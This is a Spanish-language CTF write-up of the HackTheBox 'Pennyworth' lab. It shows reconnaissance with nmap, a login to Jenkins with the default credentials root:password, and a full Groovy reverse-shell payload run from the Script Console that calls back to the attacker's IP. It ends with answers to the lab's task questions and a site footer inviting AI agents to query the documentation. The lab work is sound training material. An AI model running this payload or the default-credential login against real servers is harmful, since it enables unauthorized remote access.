# Pennyworth

### 1. 📝 **Introducción**

* **Nivel de Dificultad**: Muy fácil.
* **Tags:**&#x20;
  * **Common Applications (Aplicaciones Comunes):** Son herramientas ampliamente utilizadas en entornos empresariales e industriales, como servidores de integración continua, bases de datos y servicios web. Aunque son esenciales para la productividad, su configuración incorrecta o el uso de versiones desactualizadas pueden exponer vulnerabilidades críticas que los atacantes pueden explotar.
  * **Jenkins:** Es una herramienta de automatización de integración y entrega continua (CI/CD) utilizada para compilar, probar y desplegar aplicaciones. Debido a su uso frecuente en entornos de desarrollo, si no se configura adecuadamente o se protege con credenciales seguras, puede ser un objetivo para ataques como la ejecución remota de código (RCE) o la explotación de credenciales predeterminadas.
  * **Java:** Es un lenguaje de programación versátil y ampliamente utilizado en aplicaciones empresariales y web. Aunque es potente, su ejecución en entornos vulnerables puede llevar a ataques como la deserialización insegura, vulnerabilidades en bibliotecas desactualizadas y explotación de código malicioso dentro de aplicaciones Java en ejecución.
  * **Reconnaissance (Reconocimiento):** Es una fase crítica en las pruebas de penetración donde se recopila información sobre el sistema objetivo. Esto incluye la identificación de versiones de software, credenciales predeterminadas y servicios expuestos, lo que permite a los atacantes descubrir posibles puntos de entrada y debilidades en la infraestructura.
  * **Remote Code Execution (Ejecución Remota de Código - RCE):** Es una de las vulnerabilidades más peligrosas que permite a un atacante ejecutar comandos arbitrarios en un sistema objetivo de forma remota. En entornos con Jenkins y Java, una mala configuración o el uso de plugins inseguros pueden llevar a la explotación de RCE, comprometiendo completamente el servidor.
  * **Default Credentials (Credenciales Predeterminadas):** Son credenciales establecidas por defecto en software o hardware que, si no se cambian, pueden ser utilizadas por atacantes para obtener acceso no autorizado. Servicios como Jenkins a menudo tienen credenciales predeterminadas que, si no son modificadas, pueden permitir compromisos completos del sistema con privilegios administrativos.

### 2. 🛠️ **Entorno**

Nos descargamos nuestra VPN y nos conectamos.

```
sudo openvpn nombre_del_archivo.vpn
```

Iniciamos la máquina y verificamos la conexión.

```bash
ping -c 1 10.129.135.7
```

<figure><img src="/files/3nG1aCf0WpyUHqOXfJOU" alt=""><figcaption></figcaption></figure>

Observamos que tenemos conexión y que es una máquina **Linux** ya que su **ttl=63**.

### 3. 🔍 **Reconocimiento**

A continuación, se realiza el comando:

```bash
nmap -sCV -Pn 10.129.135.7
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.&#x20;

<figure><img src="/files/x9QJbjIV2Q1Ts5DIXViF" alt=""><figcaption></figcaption></figure>

### 4. 🚪 **Acceso Inicial**

Como podemos observar durante el escaneo, el puerto **8080** perteneciente al servicio **HTTP** está abierto. A continuación, se indagará más sobre estos servicios.

<figure><img src="/files/aoywgxAJe9gN1Tx5jhRm" alt=""><figcaption></figcaption></figure>

Ponemos las credenciales por defecto **root**:**password**.

<figure><img src="/files/bCkc2NdE3VoGsMtsYZaj" alt=""><figcaption></figcaption></figure>

Nos ubicamos en Manage Jenkins > Script Console para subir una Reverse Shell.

```bash
String host="10.10.16.35";int port=4444;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

Le damos a run mientras nos ponemos en escucha.

<figure><img src="/files/faL04CFe6O5117Wxpq47" alt=""><figcaption></figcaption></figure>

### 5. 🔑 **Captura de la Flag**

<figure><img src="/files/kMhs1oWNoYElzZuZFHBO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wT17UDrYQt687MhqD4je" alt=""><figcaption></figcaption></figure>

### 6. ❓Preguntas

**Tarea 1**

**¿Qué significa el acrónimo CVE?**\
📌 **Common Vulnerabilities and Exposures** (Vulnerabilidades y Exposiciones Comunes)

**Tarea 2**

**¿Qué significan las tres letras en CIA, refiriéndose a la tríada CIA en ciberseguridad?**\
📌 **Confidentiality, Integrity, Availability** (Confidencialidad, Integridad, Disponibilidad)

**Tarea 3**

**¿Qué versión del servicio se está ejecutando en el puerto 8080?**\
📌 **Jetty 9.4.39.v20210325**

**Tarea 4**

**¿Qué versión de Jenkins se está ejecutando en el objetivo?**\
📌 **2.289.1**

**Tarea 5**

**¿Qué tipo de script se acepta como entrada en la Consola de Scripts de Jenkins?**\
📌 **Groovy**

**Tarea 6**

**¿A qué sería igual la variable "String cmd" del fragmento de script Groovy si la VM de destino estuviera ejecutando Windows?**\
📌 **cmd.exe**

**Tarea 7**

**¿Qué otro comando, además de "ip a", podríamos usar para mostrar la información de nuestras interfaces de red en Linux?**\
📌 **ifconfig**

**Tarea 8**

**¿Qué opción debemos usar con netcat para que utilice el modo de transporte UDP?**\
📌 **-U**

**Tarea 9**

**¿Cuál es el término utilizado para describir hacer que un host objetivo inicie una conexión de regreso al host del atacante?**\
📌 **reverse shell**


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/starting-point/pennyworth.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
